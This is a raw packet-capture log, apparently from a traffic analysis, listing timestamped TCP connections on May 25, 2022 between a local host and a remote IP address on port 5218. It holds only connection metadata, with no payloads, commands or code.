May 25, 2022 16:29:17.403126001 CEST	49793	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:29:17.403388977 CEST	49793	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:29:17.403415918 CEST	49793	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:29:17.403506041 CEST	5218	49793	23.105.131.228	192.168.11.20
May 25, 2022 16:29:17.403587103 CEST	5218	49793	23.105.131.228	192.168.11.20
May 25, 2022 16:29:17.403737068 CEST	49793	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:29:17.403773069 CEST	49793	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:29:17.405514002 CEST	5218	49793	23.105.131.228	192.168.11.20
May 25, 2022 16:29:17.405597925 CEST	5218	49793	23.105.131.228	192.168.11.20
May 25, 2022 16:29:17.405662060 CEST	5218	49793	23.105.131.228	192.168.11.20
May 25, 2022 16:29:17.405751944 CEST	5218	49793	23.105.131.228	192.168.11.20
May 25, 2022 16:29:17.405783892 CEST	49793	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:29:17.405819893 CEST	5218	49793	23.105.131.228	192.168.11.20
May 25, 2022 16:29:17.405847073 CEST	49793	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:29:17.405900002 CEST	5218	49793	23.105.131.228	192.168.11.20
May 25, 2022 16:29:17.405913115 CEST	49793	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:29:17.406083107 CEST	5218	49793	23.105.131.228	192.168.11.20
May 25, 2022 16:29:17.406126022 CEST	49793	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:29:17.406179905 CEST	49793	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:29:17.406375885 CEST	49793	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:29:17.406421900 CEST	49793	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:29:17.460829020 CEST	5218	49793	23.105.131.228	192.168.11.20
May 25, 2022 16:29:17.460953951 CEST	5218	49793	23.105.131.228	192.168.11.20
May 25, 2022 16:29:17.461019039 CEST	5218	49793	23.105.131.228	192.168.11.20
May 25, 2022 16:29:17.461041927 CEST	49793	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:29:17.461103916 CEST	5218	49793	23.105.131.228	192.168.11.20
May 25, 2022 16:29:17.461117983 CEST	49793	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:29:17.461169958 CEST	5218	49793	23.105.131.228	192.168.11.20
May 25, 2022 16:29:17.461249113 CEST	5218	49793	23.105.131.228	192.168.11.20
May 25, 2022 16:29:17.461313963 CEST	5218	49793	23.105.131.228	192.168.11.20
May 25, 2022 16:29:17.461348057 CEST	49793	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:29:17.461399078 CEST	49793	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:29:17.461525917 CEST	49793	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:29:17.461533070 CEST	5218	49793	23.105.131.228	192.168.11.20
May 25, 2022 16:29:17.461694002 CEST	49793	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:29:17.461810112 CEST	49793	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:29:21.379025936 CEST	49794	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:29:21.750852108 CEST	5218	49794	23.105.131.228	192.168.11.20
May 25, 2022 16:29:21.751343966 CEST	49794	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:29:21.751684904 CEST	49794	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:29:22.048286915 CEST	5218	49794	23.105.131.228	192.168.11.20
May 25, 2022 16:29:22.048420906 CEST	49794	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:29:22.103965998 CEST	5218	49794	23.105.131.228	192.168.11.20
May 25, 2022 16:29:22.104212046 CEST	49794	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:29:22.362754107 CEST	5218	49794	23.105.131.228	192.168.11.20
May 25, 2022 16:29:22.362895012 CEST	49794	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:29:22.407711983 CEST	5218	49794	23.105.131.228	192.168.11.20
May 25, 2022 16:29:22.407860041 CEST	49794	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:29:22.625184059 CEST	5218	49794	23.105.131.228	192.168.11.20
May 25, 2022 16:29:22.625582933 CEST	49794	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:29:22.726735115 CEST	5218	49794	23.105.131.228	192.168.11.20
May 25, 2022 16:29:22.726938963 CEST	49794	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:29:22.949243069 CEST	5218	49794	23.105.131.228	192.168.11.20
May 25, 2022 16:29:22.949477911 CEST	49794	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:29:23.033869028 CEST	5218	49794	23.105.131.228	192.168.11.20
May 25, 2022 16:29:23.098850965 CEST	5218	49794	23.105.131.228	192.168.11.20
May 25, 2022 16:29:23.098912954 CEST	5218	49794	23.105.131.228	192.168.11.20
May 25, 2022 16:29:23.099144936 CEST	49794	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:29:23.099622011 CEST	5218	49794	23.105.131.228	192.168.11.20
May 25, 2022 16:29:23.099829912 CEST	49794	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:29:23.100003958 CEST	5218	49794	23.105.131.228	192.168.11.20
May 25, 2022 16:29:23.100085020 CEST	5218	49794	23.105.131.228	192.168.11.20
May 25, 2022 16:29:23.100132942 CEST	5218	49794	23.105.131.228	192.168.11.20
May 25, 2022 16:29:23.100187063 CEST	49794	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:29:23.100248098 CEST	49794	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:29:23.100306034 CEST	5218	49794	23.105.131.228	192.168.11.20
May 25, 2022 16:29:23.100347042 CEST	49794	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:29:23.100390911 CEST	5218	49794	23.105.131.228	192.168.11.20
May 25, 2022 16:29:23.100492001 CEST	49794	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:29:23.100562096 CEST	49794	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:29:23.101577997 CEST	5218	49794	23.105.131.228	192.168.11.20
May 25, 2022 16:29:23.101661921 CEST	5218	49794	23.105.131.228	192.168.11.20
May 25, 2022 16:29:23.101805925 CEST	49794	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:29:23.101891041 CEST	49794	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:29:23.297175884 CEST	5218	49794	23.105.131.228	192.168.11.20
May 25, 2022 16:29:23.297529936 CEST	49794	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:29:23.358493090 CEST	5218	49794	23.105.131.228	192.168.11.20
May 25, 2022 16:29:23.358622074 CEST	5218	49794	23.105.131.228	192.168.11.20
May 25, 2022 16:29:23.358760118 CEST	49794	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:29:23.358825922 CEST	49794	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:29:23.359980106 CEST	5218	49794	23.105.131.228	192.168.11.20
May 25, 2022 16:29:23.360197067 CEST	49794	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:29:23.361831903 CEST	5218	49794	23.105.131.228	192.168.11.20
May 25, 2022 16:29:23.361942053 CEST	5218	49794	23.105.131.228	192.168.11.20
May 25, 2022 16:29:23.362029076 CEST	49794	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:29:23.362051010 CEST	5218	49794	23.105.131.228	192.168.11.20
May 25, 2022 16:29:23.362109900 CEST	49794	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:29:23.362183094 CEST	5218	49794	23.105.131.228	192.168.11.20
May 25, 2022 16:29:23.362201929 CEST	49794	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:29:23.362281084 CEST	5218	49794	23.105.131.228	192.168.11.20
May 25, 2022 16:29:23.362335920 CEST	49794	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:29:23.362354994 CEST	5218	49794	23.105.131.228	192.168.11.20
May 25, 2022 16:29:23.362435102 CEST	49794	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:29:23.362514019 CEST	49794	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:29:23.364207029 CEST	5218	49794	23.105.131.228	192.168.11.20
May 25, 2022 16:29:23.364286900 CEST	5218	49794	23.105.131.228	192.168.11.20
May 25, 2022 16:29:23.364377022 CEST	49794	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:29:23.364521027 CEST	49794	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:29:23.364528894 CEST	5218	49794	23.105.131.228	192.168.11.20
May 25, 2022 16:29:23.364656925 CEST	5218	49794	23.105.131.228	192.168.11.20
May 25, 2022 16:29:23.364716053 CEST	49794	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:29:23.364720106 CEST	5218	49794	23.105.131.228	192.168.11.20
May 25, 2022 16:29:23.364818096 CEST	5218	49794	23.105.131.228	192.168.11.20
May 25, 2022 16:29:23.364834070 CEST	49794	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:29:23.364905119 CEST	49794	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:29:23.364922047 CEST	5218	49794	23.105.131.228	192.168.11.20
May 25, 2022 16:29:23.364984989 CEST	49794	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:29:23.364993095 CEST	5218	49794	23.105.131.228	192.168.11.20
May 25, 2022 16:29:23.365168095 CEST	49794	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:29:23.408370972 CEST	5218	49794	23.105.131.228	192.168.11.20
May 25, 2022 16:29:23.408734083 CEST	49794	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:29:23.412421942 CEST	5218	49794	23.105.131.228	192.168.11.20
May 25, 2022 16:29:23.412507057 CEST	5218	49794	23.105.131.228	192.168.11.20
May 25, 2022 16:29:23.412667036 CEST	49794	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:29:23.412733078 CEST	49794	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:29:23.623012066 CEST	49794	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:29:23.641124010 CEST	5218	49794	23.105.131.228	192.168.11.20
May 25, 2022 16:29:23.641324043 CEST	49794	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:29:23.641485929 CEST	5218	49794	23.105.131.228	192.168.11.20
May 25, 2022 16:29:23.641694069 CEST	49794	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:29:23.670023918 CEST	5218	49794	23.105.131.228	192.168.11.20
May 25, 2022 16:29:23.670088053 CEST	5218	49794	23.105.131.228	192.168.11.20
May 25, 2022 16:29:23.670183897 CEST	5218	49794	23.105.131.228	192.168.11.20
May 25, 2022 16:29:23.670512915 CEST	49794	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:29:23.670636892 CEST	5218	49794	23.105.131.228	192.168.11.20
May 25, 2022 16:29:23.670701981 CEST	5218	49794	23.105.131.228	192.168.11.20
May 25, 2022 16:29:23.670769930 CEST	5218	49794	23.105.131.228	192.168.11.20
May 25, 2022 16:29:23.670816898 CEST	5218	49794	23.105.131.228	192.168.11.20
May 25, 2022 16:29:23.670908928 CEST	49794	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:29:23.670993090 CEST	5218	49794	23.105.131.228	192.168.11.20
May 25, 2022 16:29:23.671045065 CEST	5218	49794	23.105.131.228	192.168.11.20
May 25, 2022 16:29:23.671091080 CEST	49794	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:29:23.671117067 CEST	49794	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:29:23.671185970 CEST	5218	49794	23.105.131.228	192.168.11.20
May 25, 2022 16:29:23.671194077 CEST	49794	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:29:23.671216965 CEST	49794	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:29:23.671329975 CEST	5218	49794	23.105.131.228	192.168.11.20
May 25, 2022 16:29:23.671334028 CEST	49794	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:29:23.671478033 CEST	49794	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:29:23.673804045 CEST	5218	49794	23.105.131.228	192.168.11.20
May 25, 2022 16:29:23.673995972 CEST	49794	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:29:23.674177885 CEST	5218	49794	23.105.131.228	192.168.11.20
May 25, 2022 16:29:23.674248934 CEST	5218	49794	23.105.131.228	192.168.11.20
May 25, 2022 16:29:23.674299002 CEST	5218	49794	23.105.131.228	192.168.11.20
May 25, 2022 16:29:23.674343109 CEST	49794	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:29:23.674350023 CEST	5218	49794	23.105.131.228	192.168.11.20
May 25, 2022 16:29:23.674401999 CEST	49794	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:29:23.674448967 CEST	49794	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:29:23.674583912 CEST	49794	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:29:23.674608946 CEST	5218	49794	23.105.131.228	192.168.11.20
May 25, 2022 16:29:23.674695015 CEST	5218	49794	23.105.131.228	192.168.11.20
May 25, 2022 16:29:23.674751043 CEST	49794	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:29:23.674761057 CEST	5218	49794	23.105.131.228	192.168.11.20
May 25, 2022 16:29:23.674822092 CEST	5218	49794	23.105.131.228	192.168.11.20
May 25, 2022 16:29:23.674907923 CEST	49794	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:29:23.674978971 CEST	49794	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:29:23.675046921 CEST	5218	49794	23.105.131.228	192.168.11.20
May 25, 2022 16:29:23.675127983 CEST	5218	49794	23.105.131.228	192.168.11.20
May 25, 2022 16:29:23.675179005 CEST	5218	49794	23.105.131.228	192.168.11.20
May 25, 2022 16:29:23.675224066 CEST	49794	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:29:23.675229073 CEST	5218	49794	23.105.131.228	192.168.11.20
May 25, 2022 16:29:23.675268888 CEST	49794	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:29:23.675318956 CEST	49794	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:29:23.675368071 CEST	49794	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:29:23.675458908 CEST	5218	49794	23.105.131.228	192.168.11.20
May 25, 2022 16:29:23.675611019 CEST	49794	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:29:23.682037115 CEST	5218	49794	23.105.131.228	192.168.11.20
May 25, 2022 16:29:23.682250023 CEST	49794	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:29:23.686732054 CEST	5218	49794	23.105.131.228	192.168.11.20
May 25, 2022 16:29:23.686799049 CEST	5218	49794	23.105.131.228	192.168.11.20
May 25, 2022 16:29:23.686867952 CEST	5218	49794	23.105.131.228	192.168.11.20
May 25, 2022 16:29:23.686918974 CEST	5218	49794	23.105.131.228	192.168.11.20
May 25, 2022 16:29:23.686918974 CEST	49794	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:29:23.686956882 CEST	49794	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:29:23.687030077 CEST	49794	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:29:23.687053919 CEST	49794	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:29:23.687119007 CEST	5218	49794	23.105.131.228	192.168.11.20
May 25, 2022 16:29:23.687182903 CEST	5218	49794	23.105.131.228	192.168.11.20
May 25, 2022 16:29:23.687294960 CEST	49794	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:29:23.687350988 CEST	5218	49794	23.105.131.228	192.168.11.20
May 25, 2022 16:29:23.687361956 CEST	49794	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:29:23.687432051 CEST	5218	49794	23.105.131.228	192.168.11.20
May 25, 2022 16:29:23.687527895 CEST	49794	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:29:23.687608957 CEST	49794	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:29:27.808137894 CEST	49795	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:29:28.099575043 CEST	5218	49795	23.105.131.228	192.168.11.20
May 25, 2022 16:29:28.100301981 CEST	49795	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:29:28.100658894 CEST	49795	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:29:28.524439096 CEST	5218	49795	23.105.131.228	192.168.11.20
May 25, 2022 16:29:28.524697065 CEST	49795	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:29:28.568188906 CEST	5218	49795	23.105.131.228	192.168.11.20
May 25, 2022 16:29:28.621828079 CEST	49795	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:29:28.930903912 CEST	5218	49795	23.105.131.228	192.168.11.20
May 25, 2022 16:29:28.931072950 CEST	49795	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:29:29.233851910 CEST	5218	49795	23.105.131.228	192.168.11.20
May 25, 2022 16:29:29.234062910 CEST	49795	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:29:29.541081905 CEST	5218	49795	23.105.131.228	192.168.11.20
May 25, 2022 16:29:29.541441917 CEST	49795	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:29:29.845602036 CEST	5218	49795	23.105.131.228	192.168.11.20
May 25, 2022 16:29:29.845796108 CEST	49795	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:29:29.918742895 CEST	49795	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:29:29.948702097 CEST	5218	49795	23.105.131.228	192.168.11.20
May 25, 2022 16:29:29.948785067 CEST	5218	49795	23.105.131.228	192.168.11.20
May 25, 2022 16:29:29.948848009 CEST	5218	49795	23.105.131.228	192.168.11.20
May 25, 2022 16:29:29.948972940 CEST	49795	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:29:29.949038982 CEST	49795	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:29:29.949055910 CEST	49795	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:29:29.950403929 CEST	5218	49795	23.105.131.228	192.168.11.20
May 25, 2022 16:29:29.950556040 CEST	5218	49795	23.105.131.228	192.168.11.20
May 25, 2022 16:29:29.950619936 CEST	49795	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:29:29.950663090 CEST	5218	49795	23.105.131.228	192.168.11.20
May 25, 2022 16:29:29.950721979 CEST	49795	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:29:29.950860023 CEST	5218	49795	23.105.131.228	192.168.11.20
May 25, 2022 16:29:29.950891972 CEST	49795	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:29:29.950951099 CEST	5218	49795	23.105.131.228	192.168.11.20
May 25, 2022 16:29:29.951015949 CEST	5218	49795	23.105.131.228	192.168.11.20
May 25, 2022 16:29:29.951021910 CEST	49795	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:29:29.951142073 CEST	5218	49795	23.105.131.228	192.168.11.20
May 25, 2022 16:29:29.951215982 CEST	49795	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:29:29.951308012 CEST	49795	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:29:30.150789022 CEST	5218	49795	23.105.131.228	192.168.11.20
May 25, 2022 16:29:30.151145935 CEST	49795	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:29:34.097667933 CEST	49796	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:29:34.495130062 CEST	5218	49796	23.105.131.228	192.168.11.20
May 25, 2022 16:29:34.495414972 CEST	49796	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:29:34.496572018 CEST	49796	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:29:34.821994066 CEST	5218	49796	23.105.131.228	192.168.11.20
May 25, 2022 16:29:34.822318077 CEST	49796	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:29:34.852844954 CEST	5218	49796	23.105.131.228	192.168.11.20
May 25, 2022 16:29:34.853185892 CEST	49796	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:29:35.137937069 CEST	5218	49796	23.105.131.228	192.168.11.20
May 25, 2022 16:29:35.138461113 CEST	49796	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:29:35.393095970 CEST	5218	49796	23.105.131.228	192.168.11.20
May 25, 2022 16:29:35.393347979 CEST	49796	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:29:36.084712982 CEST	5218	49796	23.105.131.228	192.168.11.20
May 25, 2022 16:29:36.084990978 CEST	49796	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:29:36.135756969 CEST	49796	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:29:36.307744026 CEST	49796	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:29:36.430305004 CEST	5218	49796	23.105.131.228	192.168.11.20
May 25, 2022 16:29:36.430464029 CEST	49796	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:29:36.516311884 CEST	5218	49796	23.105.131.228	192.168.11.20
May 25, 2022 16:29:36.516390085 CEST	5218	49796	23.105.131.228	192.168.11.20
May 25, 2022 16:29:36.516458988 CEST	5218	49796	23.105.131.228	192.168.11.20
May 25, 2022 16:29:36.516505957 CEST	5218	49796	23.105.131.228	192.168.11.20
May 25, 2022 16:29:36.516664982 CEST	5218	49796	23.105.131.228	192.168.11.20
May 25, 2022 16:29:36.516735077 CEST	5218	49796	23.105.131.228	192.168.11.20
May 25, 2022 16:29:36.516859055 CEST	49796	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:29:36.517025948 CEST	5218	49796	23.105.131.228	192.168.11.20
May 25, 2022 16:29:36.517107964 CEST	5218	49796	23.105.131.228	192.168.11.20
May 25, 2022 16:29:36.517157078 CEST	5218	49796	23.105.131.228	192.168.11.20
May 25, 2022 16:29:36.517234087 CEST	49796	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:29:36.517319918 CEST	5218	49796	23.105.131.228	192.168.11.20
May 25, 2022 16:29:36.517368078 CEST	49796	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:29:36.517488003 CEST	49796	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:29:40.487495899 CEST	49797	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:29:40.805715084 CEST	5218	49797	23.105.131.228	192.168.11.20
May 25, 2022 16:29:40.805915117 CEST	49797	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:29:40.806456089 CEST	49797	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:29:41.260835886 CEST	5218	49797	23.105.131.228	192.168.11.20
May 25, 2022 16:29:41.261157036 CEST	49797	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:29:41.291057110 CEST	5218	49797	23.105.131.228	192.168.11.20
May 25, 2022 16:29:41.291270971 CEST	49797	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:29:41.740952969 CEST	5218	49797	23.105.131.228	192.168.11.20
May 25, 2022 16:29:41.741739035 CEST	49797	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:29:42.037796974 CEST	5218	49797	23.105.131.228	192.168.11.20
May 25, 2022 16:29:42.038114071 CEST	49797	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:29:42.452836990 CEST	5218	49797	23.105.131.228	192.168.11.20
May 25, 2022 16:29:42.453149080 CEST	49797	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:29:42.603301048 CEST	49797	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:29:42.795600891 CEST	5218	49797	23.105.131.228	192.168.11.20
May 25, 2022 16:29:42.795985937 CEST	49797	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:29:46.631386995 CEST	49798	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:29:46.898240089 CEST	5218	49798	23.105.131.228	192.168.11.20
May 25, 2022 16:29:46.898602009 CEST	49798	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:29:46.898756027 CEST	49798	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:29:47.308562994 CEST	5218	49798	23.105.131.228	192.168.11.20
May 25, 2022 16:29:47.308610916 CEST	5218	49798	23.105.131.228	192.168.11.20
May 25, 2022 16:29:47.308783054 CEST	49798	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:29:47.351990938 CEST	49798	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:29:47.625524044 CEST	5218	49798	23.105.131.228	192.168.11.20
May 25, 2022 16:29:47.625782013 CEST	49798	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:29:47.900404930 CEST	5218	49798	23.105.131.228	192.168.11.20
May 25, 2022 16:29:47.900691986 CEST	49798	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:29:48.224240065 CEST	5218	49798	23.105.131.228	192.168.11.20
May 25, 2022 16:29:48.224477053 CEST	49798	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:29:48.636821985 CEST	5218	49798	23.105.131.228	192.168.11.20
May 25, 2022 16:29:48.637027025 CEST	49798	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:29:48.773709059 CEST	49798	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:29:48.786623001 CEST	5218	49798	23.105.131.228	192.168.11.20
May 25, 2022 16:29:48.786704063 CEST	5218	49798	23.105.131.228	192.168.11.20
May 25, 2022 16:29:48.786864996 CEST	5218	49798	23.105.131.228	192.168.11.20
May 25, 2022 16:29:48.786900043 CEST	49798	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:29:48.787018061 CEST	5218	49798	23.105.131.228	192.168.11.20
May 25, 2022 16:29:48.787161112 CEST	5218	49798	23.105.131.228	192.168.11.20
May 25, 2022 16:29:48.787226915 CEST	5218	49798	23.105.131.228	192.168.11.20
May 25, 2022 16:29:48.787261009 CEST	49798	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:29:48.787378073 CEST	49798	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:29:48.787525892 CEST	5218	49798	23.105.131.228	192.168.11.20
May 25, 2022 16:29:48.787619114 CEST	5218	49798	23.105.131.228	192.168.11.20
May 25, 2022 16:29:48.787744999 CEST	49798	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:29:48.787785053 CEST	49798	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:29:48.787800074 CEST	5218	49798	23.105.131.228	192.168.11.20
May 25, 2022 16:29:48.787861109 CEST	5218	49798	23.105.131.228	192.168.11.20
May 25, 2022 16:29:48.787993908 CEST	49798	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:29:48.788043976 CEST	49798	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:29:48.937644958 CEST	5218	49798	23.105.131.228	192.168.11.20
May 25, 2022 16:29:48.937927008 CEST	49798	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:29:52.801964998 CEST	49799	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:29:53.078219891 CEST	5218	49799	23.105.131.228	192.168.11.20
May 25, 2022 16:29:53.078471899 CEST	49799	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:29:53.078752041 CEST	49799	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:29:53.376327038 CEST	5218	49799	23.105.131.228	192.168.11.20
May 25, 2022 16:29:53.376739025 CEST	49799	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:29:53.472537041 CEST	5218	49799	23.105.131.228	192.168.11.20
May 25, 2022 16:29:53.472779036 CEST	49799	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:29:53.692790031 CEST	5218	49799	23.105.131.228	192.168.11.20
May 25, 2022 16:29:53.692995071 CEST	49799	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:29:53.812952042 CEST	5218	49799	23.105.131.228	192.168.11.20
May 25, 2022 16:29:53.813093901 CEST	49799	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:29:53.997678995 CEST	5218	49799	23.105.131.228	192.168.11.20
May 25, 2022 16:29:53.998034000 CEST	49799	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:29:54.132673979 CEST	5218	49799	23.105.131.228	192.168.11.20
May 25, 2022 16:29:54.132862091 CEST	49799	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:29:54.310122013 CEST	5218	49799	23.105.131.228	192.168.11.20
May 25, 2022 16:29:54.310368061 CEST	49799	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:29:54.434679031 CEST	5218	49799	23.105.131.228	192.168.11.20
May 25, 2022 16:29:54.507841110 CEST	5218	49799	23.105.131.228	192.168.11.20
May 25, 2022 16:29:54.507906914 CEST	5218	49799	23.105.131.228	192.168.11.20
May 25, 2022 16:29:54.508075953 CEST	49799	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:29:54.508157969 CEST	49799	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:29:54.509625912 CEST	5218	49799	23.105.131.228	192.168.11.20
May 25, 2022 16:29:54.509718895 CEST	5218	49799	23.105.131.228	192.168.11.20
May 25, 2022 16:29:54.509767056 CEST	5218	49799	23.105.131.228	192.168.11.20
May 25, 2022 16:29:54.509795904 CEST	49799	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:29:54.510047913 CEST	5218	49799	23.105.131.228	192.168.11.20
May 25, 2022 16:29:54.510056973 CEST	49799	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:29:54.510070086 CEST	49799	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:29:54.510130882 CEST	5218	49799	23.105.131.228	192.168.11.20
May 25, 2022 16:29:54.510210991 CEST	49799	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:29:54.510272980 CEST	5218	49799	23.105.131.228	192.168.11.20
